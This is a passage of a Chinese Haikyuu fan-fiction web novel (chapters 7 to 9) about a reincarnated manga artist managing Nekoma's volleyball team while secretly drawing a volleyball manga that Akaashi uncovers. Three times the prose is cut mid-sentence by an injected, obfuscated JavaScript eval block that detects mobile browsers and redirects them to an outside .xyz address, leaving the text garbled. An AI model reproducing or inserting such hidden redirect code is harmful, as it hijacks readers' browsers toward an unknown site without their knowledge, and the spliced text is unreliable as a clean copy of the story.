《[排球]小巨人只想画漫画》
7. 错误的讯息
好累。
孤爪研磨喘着粗气,从赛场上退下来。
后两场不知道枭谷的二传又和他们主将说了什么,打完这两场后研磨都要虚脱了。而在这两场中,枭谷穷追不舍2:1赢下音驹。
打满三场简直不是人事,更何况最后一把居然打到三十分以上。为什么不能让一年级的二传手代替他上场,他非常非常非常需要一个替补,这样第三轮就能休息了。
但这件事是妄想——音驹的大脑是无可替代的,他们能够和东京赛区的其他学位匹敌的便是这个以二传为中心的防守体系,目前队内的新生二传手白球彦并不能代替孤爪研磨出场。
“这次你们险胜,下次等着吧。”黑尾和木兔双手交握,带着不怀好意的笑容最后寒暄。
木兔带着笑容嘴上不留情:“休想,下次你们也赢不了。”
另一边,天满已经从二楼跑到楼下,灰羽列夫早已冲了过来,一把抱住了他。
“列夫——”
两人的背后传来阴森森的声音,一回头就看见身高一米六气势两米八的夜久前辈。
“坦白从宽!”夜久恶狠狠地问,“你从哪偷学的打手出界!”
“我……”列夫瞒不住事情,他下意识低头看了眼天满。
天满用眼神威慑他——「要么你死要么我死」。
灰羽列夫:呜呜呜。
“这不是我们拿下局点的列夫君吗——”黑尾铁朗迈着昂首阔步,准时到达战场。
一米九的灰羽列夫瞬间立正,弹射起步想跑,下一秒就被队长拎住命运的后颈皮。
“我——我是碰运气的!不要骂我!”
“就那样——噼啪——随便地甩了一下手。”他弱弱地补充道,“哗啦——一下就打出来了。”
他突然一想,自己也没撒谎——确实是看到那颗球时,他突然就福至心灵地做出打手出界了。
想到这里,列夫整个人都支棱起来,显得理直气壮极了。
“……哈?”黑尾拖着长音,怀疑极了,“你当前辈们是很好忽悠的傻子吗?”
“黑尾,不要对后辈露出这种恶劣表情啊。”副队长海原信立刻阻止他。
列夫再次弱小可怜无助。
“其实……我觉得他的话不像是假的。”夜久偷偷拍了拍黑尾,小声商讨,“你知道的,咱家列夫……脑子不太聪明,一直依赖于本能打球,就像那句什么话来着。”
“傻人有傻福。”福永替他说。
“对对对,说不定他真是碰运气。”
黑尾眯起眼睛,像探照灯一般恨不得把灰羽列夫上上下下的鬼念头给照出来,最后他不情不愿地松开手。
列夫立刻能跑多远就跑多远。
其实黑尾还不满意,他再次思索了一下,怎么想怎么不对劲。
“伊吹。”他喊道。
吓得天满虎躯一震。
“你不是列夫的同班同学吗?关系应该不错吧,你去刺探一下列夫的情况——暗中向我汇报。”他冷笑着,认真安排工作,“我倒要看看这小子在搞什么鬼?”
“……”
——首先,他要给自己发一张金水。
刚刚音驹这边经历狼人杀,而来到枭谷,天满要被其乐融融的气氛感动到了。
“录像我整理好后,估计两天后,会发到前辈的邮箱。”天满去和另外两位经理告别。
“嗯嗯,多谢啦。”负责与天满保持联系的白福点头,“辛苦你了,伊吹君。”
“伊吹君做得很好嘛。”另一位经理雀田笑着夸奖,“虽然只是一年级但是很可靠嘛,下次练习赛让你来翻记分牌,在下面近距离看球更棒哦。”
枭谷的两位专职经理都是三年级的同学,她们都是能独当一面的部门经理,三个人站在场外又聊了聊关于日常事务的处理,她们还教会天满如何去和学生会变本加厉地要经费,还告诉天满如何拿捏经常查岗的风纪委员会。
“喂!集合了!”山本前辈从天满背后无声无息地出现。
黄色的莫西干头冷酷地哼一声,以身型优势把天满像是拎小鸡崽一样拎走。
“不准和女生经理聊这聊那!”他的语气阴冷又可怖,“I am watching you.”
“……前辈,要不我把白福前辈的Line推荐给前辈?”天满犹豫着问,“她应该会同意你的。”
山本猛虎心动了一下,但也只是动了一下:“不要,我不敢和女生打招呼。”
“……”
两校练习赛的收尾是由猫又教练简单总结几句,他排球界的老资历,针对今日的比赛说些共性的不足。
“打排球虽然要用手臂,但也少不了需要用大脑去思考。在场有很多天生球商就很不错的孩子,作为过来人我只想告诫你们——慎重则必成,轻发则多败。”猫又教练站在最前面。
“面对每一颗球,本能固然可靠,但我希望你们能开始去思考合适的球路,去探索能用的技法,去找寻更好的方式,再把这些过程中的所有想法都用大脑吸收融汇进自己的身体——长此以往,我相信你们终会有长足的长进。”
“加油吧,枭谷的各位。”他开怀地笑了笑,过去和枭谷的教练握手,“下次见面估计就是夏天的日本全国高校综合体育大会(IH),希望我们后会有期。”
这次音驹vs枭谷的练习赛圆满结束,音驹的排球部收拾好后便告别枭谷,各自回家。
音驹和枭谷两个学校关系好的一大原因就是离得非常近,在这个东京的小区域内正好一个是公立校而另一个是私立校,大部分学生都住在附近的居民区。
一半像是福永他们家就在枭谷附近可以步行回家,另一半像是夜久他们想去便利店买点东西,还有一半比如黑尾和研磨他们直接结伴往车站走。
走上电车只有三人——黑尾、研磨、天满。
列夫盛情邀请天满去便利店给他买零食,但天满堂堂26岁成年人怎能被零食诱惑——他着急回去把今天丰富的素材转化为新的分镜脚本!
而研磨的心情非常相同,他今天不想再多走任何一米路,只想回家躺着。黑尾铁朗则担心他晕在路上,所以也拒绝了集体活动。
三个人挨个刷卡走进车站,乘坐的方向完全一致,便接着同路而行。
现在是晚高峰的时期,电车上像沙丁鱼罐头一般,三个人艰难地才从上班族中挤进去。
“黑尾前辈和孤爪前辈好像很熟悉。”天满问,他想近距离看看自家男主打完球后的流汗模样,可孤爪前辈故意借着黑尾前辈的体型躲在后面玩游戏。
“因为我和研磨是邻居,是从小一起长大的幼驯染。”
“所以,孤爪前辈是因为黑尾前辈才会打排球吗?”他问。
“是吧。”黑尾想,“没有我拉着他,他这么不喜欢运动估计早就不打了。”
“……还好。”孤爪研磨说,“只是打发时间而已。”
天满观察自家男主很久了。
孤爪研磨对排球并没有表现出很大的兴趣,在训练时总是能休息就休息,缩在角落里打游戏。在赛场上也是能不动就不动,甚至面对高速袭击的重炮,还会故意躲开。
孤爪研磨对排球并没有很大的爱与热情——天满感受到。
但他也觉得孤爪前辈很厉害,听说上一届高三前辈引退前,他甚至被前辈们针对和指责,他仍然抱着平淡的态度坚持到了现在。
如果前辈在此之前放弃了排球,那伊吹天满就无法在春高上见到让他一见钟情的二传手,伟大的《银月暴击》将要胎死腹中,宇内天满也就看不到如此好看的神作并延续这个作品。
——孤爪前辈果然是我和伊吹那家伙的大恩人啊。
下一站到了,天满面前的座位幸运地空出来。
“孤爪前辈,坐这里!”他伸手把疲惫到没什么精神的孤爪研磨从黑尾铁朗身后一把捞过来,安置在电车的椅子上,“这样打游戏会轻松些。
“……谢谢。”
研磨愣了愣,把游戏机里的那关打完,然后抬头盯着伊吹天满,突然说:“为什么还是孤爪前辈。”
“嗯?怎么了?”天满没听清,下意识低头,望着那双金色的眼眸。
研磨想不明白一件事。
明明他和赤苇都是二年级的前辈和球队的二传手……可在枭谷第一次见面,天满会亲切地称呼赤苇——「京治」。
“前辈是哪里不舒服吗?”天满打量上下,没能判断出来。
“……没事。”
他缓缓低下头,不做声。
天满低头看着孤爪研磨,他觉得音驹从性格神情再到动作姿态,习性最像猫咪的就是这位前辈了。
《银月暴击》里,男主江边平时的性格也是如此,淡淡的像一缕风,懒洋洋的像只不爱动的猫咪,简直和前辈是一个模子里刻出来。
可天满知道,孤爪前辈和《银月暴击》的男主江边还是有区别的。
江边是少年漫常见的男主人设,虽然性格阴郁不喜人,但在面对排球时——却有着执着的热情和必胜的决心。
那双敏锐的竖瞳在赛场上会变得像一颗星——那颗暗夜中最亮的启明星。
天满低头看着面前的孤爪研磨,前辈正低头继续玩着游戏机里的怪物猎人,眼神认真又专注。
还不够亮——他想。
如果能让孤爪前辈在赛场上露出那样的眼神就好了……他忍不住想。
电车到站。
“前辈们,我先走了。”天满只需要坐两站,“周一见。”
“周一见。”黑尾挥挥手。
黑尾和研磨两个也不用坐很远,大约过了十多分钟便也再后两站下车。两人和往常一样朝着家的方向走,直到孤爪研磨在车站外的商业街停住脚步,用手拉了拉黑尾的书包。
“小黑,我要去书店。”
“书店?好吧。”
两个人又拐弯走进家附近的商业街里的书店,在研磨的带领下,他们绕过经典著作和小说,径直前往漫画分区。
“是喜欢的游戏改编漫画了吗?”黑尾疑惑地问。
研磨是ACG爱好者中唯独钟爱游戏的垂类二次元,他对轻小说、漫画的兴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12442986|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
趣不大,更偏好于游戏。
“没有。”
研磨走向某一个书架,黑尾往上抬头看书架的标签——体育竞技类。
哦莫?
漫画分区的颜色明显明亮起来,每一个细分分区都由书店店员精心摆放,书架底端地展示栏摊开最新最热的漫画单行本,封面上篮球、足球、游泳、弓道一应俱全。
研磨目标明确,他直接拿起其中一本漫画,黑尾探过头看着封面白底的背景上有一个人扬起腰做出托球的动作,中央最显眼处写着漫画的名字——银月暴击。
这个名字好耳熟。
“啊……你刚刚在和赤苇是在讨论这个?”黑尾有点想起来,“这是排球漫画?”
在练习赛结束后,研磨竟然拖着疲惫的身体去找赤苇京治说话,黑尾好奇地听了一耳朵,似乎就是关于这部漫画——叫什么《银月暴击》?
“嗯,我去问赤苇——天满和他说了些什么。”
“这和伊吹有什么关系?”
研磨张开嘴,嘴唇动了动,想了想又闭上嘴。
黑尾低头:“喂——你不会认为这件事解释起来太麻烦,所以懒得和我解释了吧。”
“小黑好聪明。”
“你这家伙有些过分啊!”
研磨不理他,转过身把这本单行本拿到前台结账,一副不想多言的模样,慢慢悠悠地走远。
“喂——看完之后也给我看看,我还没看过排球的漫画呢。”黑尾铁狼揽住研磨,把身体的重量压上去。
“自己去买。”研磨讨厌地拍开,“你好沉还有汗味。”
“为什么,我们两个谁跟谁,你不能借给我吗?”
“……友情再贡献一点销量。”
黑尾无语,研磨说话真是雨里雾里。他挠挠头,但他却发现研磨迈步走向柜台,而这位幼驯染的脸上竟然露出了难见的「买到新出的有趣游戏」的眼神。
——他倒是要瞧瞧,这本漫画有什么特别之处。
黑尾仔细打量,这本漫画与紧挨着的几个运动漫画相比的确数量上少得多,显然销量还不错。他索性也拿了一本追上研磨,毕竟是排球漫画,他还蛮有兴趣的,随便翻翻消遣一下也无妨。
其实《银月暴击》的销量完全不必担心,此时它的作者正得知一个好消息。
音驹中学边上的公寓。
“什么!重版!?”天满从椅子上跳起来。
“是的,第一本单行本发行部比较保守,只首发五千本,现在基本卖完,《银月暴击》单行本要重版一万本。”电话里的宫前编辑说,“天乌老师,恭喜您,重版出来!”
妈耶。
伊吹你这家伙,太牛了吧。
重版出来。
这句贺词是每个漫画家都最想听见的话,这证明单行本的销量爆发大卖到即将售罄,是漫画家的实力与成果的证明。
《银月暴击》的第一本单行本记载着前七话的内容,全部是由身体的前主人——伊吹天满所著。
“重版出来。”天满摊开手边的画纸。
他不知道伊吹天满的灵魂此刻前往何处,是否会归来,但他清楚地知道——伊吹天满是个足够优秀的漫画家。
当一个优秀的对手站在自己身前是什么感受?
昔日的小巨人手指颤抖——他本身就是个敌强我强愈战愈勇的人!他反而被这句话激励得斗志昂扬,他也是画了将近七年的职业漫画家怎么能输给一个高中生呢!
更炸裂的分镜——更出色的作画——更热血的剧情——他也能做到!
他可以用画笔将《银月暴击》延续下去,甚至画成世界第一的排球漫画!
“可以!”
今天的比赛让他灵感迸发,天满握紧手中的笔,画、删、改、再画,他枯燥地重复着以上的动作,但却越来越兴奋。
天满不知道画了多久,但他再抬起头时书桌边的窗户已经亮起晨光,他已然一刻不休地鏖战至天亮。
漫画家把笔扔在桌边,长呼出一口气。
《银月暴击》第十一话分镜脚本完成!
“累死了啊!”
没吃晚饭就开始工作,天满感觉自己要肝晕了,他熟练地给编辑京治发了个信息,终于心满意足地倒头睡在床上。
还好是休息日不用上学,当高中生真难。
而此刻的他完全忘记,他的编辑赤苇京治也还是个高中生。
“怎么了,京治。”赤苇妈妈把香肠放在餐桌上,“为什么愣着。”
“……”赤苇京治不知道怎么形容,他低头品读几遍Line上收到的信息。
???
他的国文成绩不错,但眼前的日文分开他都认识,怎么连起来就听不懂了?
什么叫做「银月暴击第十一话分镜脚本画完,速速来拿!(ps:快夸我按时交稿,还要车站门口的鲷鱼烧谢谢)」?
伊吹天满,昨日刚见过的学弟。
赤苇的眼前浮现一张盯着黑色卷毛的脸,头发太长甚至看不见他的眼睛。
不是……这条消息确定是发给他的吗?
8. 重逢吧我的编辑
叮咚——
天满正在床上呼呼大睡,几声门铃后才从被子中依稀清醒过来一点,不紧不慢地爬起来开门。
是来拿分镜的编辑吧。
他慢慢踱步到玄关,伸手把房门拉开。
眼前是熟悉的赤苇京治,今天他的编辑桑没戴眼镜,穿着浅色的卫衣和短裤,也没提着他寸步不离的公文包——还显得怪年轻的。
年轻得就跟男子高中生一样。
“嗯嗯嗯?”天满张大嘴,“你你你你怎么在这!”
赤苇京治慢悠悠地掏出手机:“不是你让我来的吗?”
天满把刘海拨到两边,定睛看赤苇的手机屏幕。
「银月暴击第十一话分镜脚本已画完,速速来拿!(ps:快夸我按时交稿,还要车站门口的鲷鱼烧谢谢)」
“……”
他的沉默震耳欲聋。
“我应该是还没醒,还在梦里。”天满迅速闭眼,向后躺平。
“……”赤苇看着眼前的学弟直挺挺地倒地,结果摔在地上开始嗷呜乱叫,“请问现在清醒了吗?”
啊啊啊啊啊。
——完蛋了!他不想面对!他熬夜后脑子不太清楚,完全忘记现在编辑早换人了,根本不是叫做什么赤苇京治!
洗了蒜了。
他怎么能让京治来他家拿分镜啊啊啊!
不行,他拍了拍自己的两颊。冷静点,天满,要以成年人的充足阅历不动声色地把这家伙骗走。
他身残志坚地扶着墙站了起来。
“所以——不邀请我进去坐坐吗?”赤苇京治托着长音,语调古怪,“天乌老师。”
“……”
已老实,求放过。
要不我还是躺倒装死吧。
伊吹天满的租房是一居室,中央有一个吃饭用的矮桌,正对着一台老式电视机。赤苇走进屋内,一双眼睛迅速地毯式搜索屋内的所有景象,最后落到角落用于绘画的书桌。
画板、墨水、画笔、纸张……
哈,赤苇的嘴角上扬两个像素点。
“鲷鱼烧。”他把手里的袋子递给天满,“不知道天乌老师说的是哪家,所以我在商业街随便买的。”
天满诚惶诚恐地躬身接过:“……谢谢。”
书桌上的中心处搁置着一个有些分量的牛皮大信封。
“这是第十一话的分镜?”赤苇目不转睛地盯着,立刻跪坐到桌边的软垫上,虔诚地摸了又摸,“我能有幸看看吗?”
“……请随意。”
他有机会说不可以吗?天满崩溃。
赤苇京治对于漫画很有研究,在未来成为编辑后,独到的眼光帮了天满很多。天满主动加赤苇的联络方式,也是想和京治讨论《银月暴击》。
但最多只是旁敲侧击地问问他作为读者的看法和感受——根本不是像此时此刻漫画家见编辑一样的死亡地狱啊!
赤苇从未见过见到漫画家的分镜脚本。
他从牛皮信封中掏出厚厚一沓白纸,扑面而来的就是凌乱无序的线条的形状。
抽象、简略、但力量感十足——乍一看难以理解,但仔细揣摩就能看出每个分镜的表达。
虽然大多是乱七八糟的线条,可刚好鲜明地能看出绘画的是哪个人物。虽然旁边的台词框大多是手写的台词,他仿佛能身临其境地想象出角色在说话。
这一话是县内强校清光中学的初登场,这场练习赛的电光火石的球技交流堪称精彩绝伦,赤苇快速地翻阅着,十分钟后竟然就一下子看完了。
背传、视线诱导、重炮发球、压线球、打手出界……昨天见过的动作全部定格在纸面上,却更激情四射!
太爽快了!
这就是提前第一个看到喜欢的漫画的后续剧情的快乐!
他像是喝了一整瓶汽水一样,喉咙和胃里都是满满的愉悦感和胀气感,有百般想法想说出口。
他难以想象,自己的正对面赫然就坐着那位画出这般杰作的漫画家啊!
画出这般杰作的漫画家——天满此刻正在桌子后紧张地苍蝇搓手。
谁懂啊家人们。
漫画家最害怕的就是编辑审阅线稿,尤其是像他这么没用的腰斩漫画家。
「其实就差一点」、「还能再改改吗」、「很快就要成功了但是还是不行」,即使大部分时候温柔似水的赤苇京治,审稿时的委婉话术也让他难以招架,他光是回忆回忆就要PTSD了。
干脆给主角加上翅膀,变成无厘头的搞笑漫画算了——职业漫画家哭唧唧地缩成一团。
赤苇一抬头见到漫画家的头已经要羞愧到九十度弯腰,完全一副已经消沉到开始自暴自弃的程度——为什么看上去一点信心没有啊!
木兔二号。
枭谷的二传手眼皮狂跳,突然意识到这家伙和木兔前辈一样脆弱多变到可怕。
但是眼前的一切和木兔前辈的异想天开相比,这种程度根本不算什么!赤苇深深地叹口气。
“伊吹的漫画非常好看。”
“真的吗!”
“嗯,比如这个动作很凌厉,这段剧情很巧妙……”
“真的吗!!!”
赤苇:太好糊弄了,麻烦程度仅相当于0.5个木兔前辈。
两人简单交流一番后,天满总算想起京治还只是个漫画迷,而不是自己的编辑。
天满也终于想起来给真正的编辑宫前桑发了短信,让他过来看分镜。赤苇京治并没有离开,他说想见见漫画编辑是怎么样实地工作的。
巧了,天满也不敢一个人见新编辑。他以前都用传真机传递稿件,第一次让人到家里。
他热情地去厨房拿麦茶配鲷鱼烧,邀请赤苇一起等待。
漫画家和未来的漫画编辑一见如故,顺势就着《银月暴击》聊起市面上的其他漫画。
“对了,伊吹为什么会画漫画?”赤苇问。
“没什么理由,大概是命运使然。”
不知道伊吹的心路历程,但他自己的确是命运使然。
因为高中毕业没有职业队找自己签约,也没什么其他计划,觉得自己还挺喜欢漫画且画画还不错,春高后就开始备考美院还复读了一年,大学时兼职时做了漫画助手,毕业后就顺其自然地成为漫画家……这是上辈子天满的职业道路。
他没做什么多余的事情,就像接到二传手递来的完美传球一样,他只是用力扣了下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12442987|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。
咻——啪嗒——他就开始画漫画了。
“我喜欢画漫画。”他对最好的朋友兼编辑赤苇京治说,“会一直坚持下去的。”
赤苇京治对这句承诺很满意,不愧是他非常欣赏的漫画家天乌老师。
“嗯,所以第十一话的原稿什么时候画出来?”
不是哥们,你怎么就瞬间进入催稿模式。
“京治是怎么找到我家的?”天满火速转移话题。
“先去问了木兔前辈,木兔前辈问了黑尾前辈,黑尾前辈问了你们的直井监督,直井监督问了你的班主任。”
“好麻烦的过程……私密马赛让你担心了。”
赤苇笑了笑,表示没关系:“因为大概猜到你是《银月暴击》的作者,所以再麻烦也一定要过来看看。”
哦莫!
莫名扬起了感动之情啊!我果然离不开你啊,京治!
天满抱歉地挠挠头:“唉,关于这件事没有告诉其他人吧?”
“没有,我用的其他借口。”
“能不能帮我保密,总之不要告诉其他人就好,尤其是……”
“孤爪吗?因为你一直拿孤爪作为原型?”
“唉!你怎么知道!”
赤苇无奈地指着封面上的男主角,无论是发色还是表情,几乎和某个人如出一辙:“很明显吧,之前我就觉得「江边」似曾相识,今天知道作者是身为音驹经理的你后,线索便串联在一起。”
“哇,不愧是你。”天满感叹道,他担心地说,“如果被前辈们发现我进排球部目的不纯,蛙跳三圈都弥补不了……更严重的是会被排球部封杀吧。”
赤苇叹口气,没忍住拍拍天满的肩膀。虽然他知道音驹的大家肯定不会那样做,但不妨碍他觉得这件事又诙谐又好笑。
一位漫画家为了取材在排球部当经理,谁能想到现实和轻小说一样夸张?
“话说——你有没有想过孤爪已经猜到了?”
“……不可能。”
“按照设定,你的男主角江边效仿了孤爪吧,如果他们的智商是相似的。”赤苇比划着,“作为如此聪明的人,他会猜不出来?”
天满疯狂摇头。
他不信他不信他不信,他不允许孤爪前辈发现这本漫画。
“我会严防死守的!”他坚定地说,“除了你以外,不会有第三个打排球的人知道这件事!”
啊这。
赤苇京治没有告诉天满,在昨天练习赛结束时孤爪研磨找过他,而当时的他没有防备地已经说出《银月暴击》的名字。
——这孩子要有难了,赤苇京治对此感到抱歉。
说不定此时此刻,孤爪研磨已经开始看这本以他为主角创造的漫画了。未来的漫画编辑赤苇为这位高中生漫画家默哀三分钟。
而另一边是什么样的情形?
谈话中的主角此刻趴在床上,一页一页面无表情地翻阅着,直至翻完手里漫画的最后一页,这才意犹未尽地合上单行本,一双猫瞳锁定在封面上的第二行字体。
作画:天乌。
“这就是伊吹天满偷偷在做的事情吗?”
好麻烦……要不装作不知道好了。
9. 相交的平行线
宫前剑编辑是一个胖胖的中年男人。
“这次的分镜脚本完成度很高。”
他翻阅完天满的线稿,先总结性地夸奖一句,之后便开始认真地和天满扣每一个分镜的细节。
赤苇坐在一旁,用笔帮天满记下来每一处需要调整的地方,从画面到台词,主动和宫前剑你来我往,讨论着某些地方的可行性。
这场景看得天满一愣一愣,他大学毕业后没有步入社会,一直在做远离人群的漫画家,就连社交话术都没高中的赤苇成熟。
太敬业了!京治桑,你一定能成为超棒的编辑!
“还有一件事,基于天乌老师您的单行本大卖,主编打算让《银月暴击》来当这次月刊的封面。”
“啊?”天满疑惑,“这件事为什么不早说?”
“本来原定是高畑老师的《长角公主》作为封面,但……他的女友和他闹分手,据说连这次的分镜都还没画出来。”
“总之天乌老师,封面就拜托您了。”
天满以纠结又难搞的表情送走宫前编辑。
“封面让你很为难吗?”赤苇问。
“是的,举个例子,你知道Youtube吗?”天满叹气,“能上封面想当于给予普通的网红Youtube首页的推荐。很多人买月刊少年Bye,并不会完整地看全部连载的漫画,登上封面后曝光度会瞬间增大。”
“这不是一件好事吗?”
的确。
一部还未大火的漫画能登上月刊封面的机会微乎其微,所以天满必须答应。
“画的好肯定是好事。”天满哭丧着脸,“但如果画不好封面——那就是漫画家的社会性死亡啊!”
一次封面的失败会让编辑部不再选择这位漫画家上封面作为主推,一本月刊里有多少优秀的漫画家排队等着登上封面,封面之战是属于漫画家的你死我活!
作为门面的首页图必要是单页全彩图,对漫画家的构图和色彩能力要求极高。
一个优秀的封面图必须足够吸睛,用抓人的色块和动作告诉读者——快来买我,另一方面封面也要代表这本漫画的核心主题,以及内页里新的一话的主要内容。
《银月暴击》才连载十话,这是非常非常难得的机会。
“但时间不太够。”天满抓了抓自己的卷发,“我没有助手,勾线、涂黑、背景还有网点全部要自己上手,离截稿日只剩二十天不到,还要提前几天交上封面供编辑部排版……关键还得想封面画什么啊——”
赤苇沉默,天满嘴里嘟囔的很多东西他都不擅长,完全帮不上忙,只能看着他无助地吐槽。
赤苇动脑想了想,他至少买过很多漫画,看过很多周刊月刊的封面。
“我想,这一话的高潮点在于男二海成的打手出界。”他在笔记本上大致画了两个圆圈作为人体,“以这个角度……江边传球后落地看着对面,而海成在高处打手出界,既能展现两人的配合默契,又有绝杀时刻的冲击力。”
“嗯,我大概明白你的思路。”天满愣是从两个圆圈中看懂赤苇的意思,点了点头算是赞同。不愧是未来的漫画编辑,天生有着极佳的构图思路。
“但这个正面击球的人体很难画啊,封面图要求更高更细致,我得去网上找点视频素材。”天满指着。
“素材?”
“是的,漫画里的很多动作还是很难描绘的,尤其是动态动作。我以前画《僵尸……以前的练习作品,一个耍剑的角色,还专门学了拔刀术和中国的舞剑。”
他站起来用家里的晾衣架给赤苇表演了一通帅气的剑术。
“虽然能想象出来大概样子,但打手出界的手型比较特殊,而且还是这种刁钻的位置,最好能在正确的角度拍下参考照片,才能贴合实际画到最好。”
天满又去找昨天的录像,用电视机播放找到灰羽列夫打手出界的那一刻。这是视频是从高处俯拍,更多是为了拍排球的轨迹和其他选手移动的位置。即使列夫身形巨大,在视频里也是看不清的小人。
他又翻了翻手机的照片,拍的全是孤爪研磨,一张列夫的都没有。
他总不能和列夫说——我要画封面,快来近距离表演一遍。
“啊,还是我自己来复刻好了。”天满说,他从柜子里找出卡片相机和三脚架,再从床底摸出来原主为了画画专门买的参照实物——专业排球和排球鞋。
他玩了玩排球,让它在指尖旋转。
赤苇看他的动作一愣:“等等,天乌老师你会打排球?”
赤苇京治是枭谷的队员,他下意识默认天满加入排球部只当经理,大概是因为完全不会排球。可刚刚听伊吹天满的话语,这人好像对排球不仅仅是知识上的了解。
“唔,很久不打了,但也会一点。”天满笑了笑,他记得市民体育场就在附近, “京治一起来吗,我正好需要人拦网。来回三十分钟,咱们速战速决。”
赤苇京治下意识点点头,他很乐意加入《银月暴击》的创作过程,想为喜爱的漫画尽一份力。
可真正走出房门,赤苇才想起这位只是一个家里蹲漫画家。要知道打手出界需要在一瞬间给排球加上旋转的力道,实在需要长时间的练习,根本不是外行人能随意尝试的。
他忍不住担心漫画家的排球水平。
赤苇拦住天满,未雨绸缪地提议道:“要不多叫一个人帮忙吧?”
“啊……也不是不行,但周末谁会有空?”
“木兔前辈。”
虽然前辈脑子不太靠谱,但球技是枭谷最好的,且随叫随到。
天满想了想,木兔又和音驹没关系,知道「伊吹天满是漫画家」这个秘密对枭谷的队员没有任何影响,而且看起来不太聪明很好忽悠。
“麻烦你了。”他开心地说,“如果他有空能来帮忙就再好不过。”
天满愉快地想着——赤苇给他托球,木兔给他拦网,争取一球搞定素材。
如果木兔愿意,他还想提议近距离多拍几张木兔打直线球的动作,以他漫画家的独道眼光,胸肌发达的笨蛋帅哥一定能成为烫男人。
“木兔前辈说马上来。”赤苇花一分钟就联络完毕。
枭谷真是我们音驹的兄弟学校,又热心又好说话。
天满乐了一下:“真爽快!太感谢你们了,一会儿我请你们俩吃饭吧,作为提供素材的报酬。”
“我不想要这个报酬。”赤苇果断拒绝。
他动作迅速地从背包里掏出《银月暴击》第一册单行本,翻至第一页。
“请您签名,天乌老师。”
他当然不会忘记他千里迢迢来到这里的目的——找支持的漫画家要签名。
天满和赤苇整装待发准备去市民体育馆取材,而另一边同样有两个人的目的地也是市民体育馆。
如果有人经过这条街道,会觉得这两个人的动作实在搞笑,那位高个子几乎用两只手架着那位矮个子前进。
“为什么周末也要打排球,小黑。”研磨挣脱不掉,有气无力地迈步,“昨天还没打够吗?我还想玩新游戏。”
黑尾说:“拜托了研磨,就给我随便托托球。”
“唉。”研磨瞥了他一眼,“……我要一周的饮料。”
“好好好,研磨大人。”黑尾想起,“其实主要怪那本漫画太热血了,昨天一晚上都在看漫画里打排球,尤其第七话主角们被新来的严苛教练逼着喊出打进全国那段,看得我今天实在是手痒。”
“……原来都怪天满。”
“谁?我没听清?”
“没事。”孤爪研磨说,“一个奇怪的漫画家罢了。”
他们坐上电车,没花多久就到达市民体育馆站。两人一前一后地走进排球的分馆,在木制地板前站定。
“太好了,没有空场。”研磨随便地扫一眼,语速飞快,“我们快回家吧小黑。”
“喂喂研磨,我们可以和问问别人愿不愿意一起打嘛?”
“我不去。”研磨一动不动,他能来就不错了,根本没有力气和陌生人社交。
“咦——那不就是熟人吗?”黑尾伸长脖子看过去,“木兔和赤苇,还有……”
孤爪研磨顺着黑尾的手指方向抬头望去。
“伊吹天满。”
他的眼眸中映照出那个飞跃的身影。
时间在往前调几分钟。市民体育馆里,三个人为了《银月暴击》汇合于此。
“HeyHeyHey,你是叫伊吹吧!”
“你好,木兔前辈。”
木兔是一个对谁都很热情的人,冲上去兴奋且热情地和天满打招呼,他能轻易做到每句话的末尾都是感叹号的。
“赤苇都和我说了,你居然是画排球的漫画家!”
“哈哈,前辈请多多支持我的漫画。”
赤苇向来靠谱,他知道要来之后,立刻用手机预约了两小时的场地,以免到达时没有空闲的场次。运气不错,恰巧就剩下最后一块排球场地。
天满用三脚架将相机架得很高,如同导演一般给赤苇和木兔讲封面的点位。
“京治你托球到这个位置
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12442988|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,木兔前辈你站在这里拦网,我来扣球。木兔前辈麻烦你的手指绷紧一些,会更容易完成打手出界。”他仔细地说,“我们从左边和右边各录一次,倒时候看看哪边更帅一点。”
“你的摸高大概多少?”赤苇拿着排球问,“我需要给你托多高的球?”
“这个啊,没试过。”天满觉得新身体比上辈子应该能摸得更高,“托球的距离……就按照你给木兔前辈的高度就好。”
赤苇沉默地望着185cm的木兔光太郎和170cm的伊吹天满。
——漫画家有想象力是好事。
而另一边天满调试好设备:“准备好了吗,京治和木兔前辈,那我开始录像了啊。”
——要托多高的球呢?
赤苇京治认真思考,他的视线落在伊吹天满的身体上。
伊吹虽然个子不高,但是比例非常协调。下半身穿着居家的休闲裤,他看不清这位漫画家腿上肌肉是否足够,但上半身穿着黑色T恤短袖,衬得露出的手臂更加白皙,里里外外告诉他——这人是个锻炼不多的家里蹲。
天满甩甩手又在场外热身了几分钟,这才踏上场地。
赤苇的视线恰恰要收回,他突然感受从球场的后方突然涌上一股强烈滚烫的气场,以摧枯拉朽之势漫向九乘十八的空间。
“给我托球。”赤苇听见伊吹天满波澜不惊的声音。
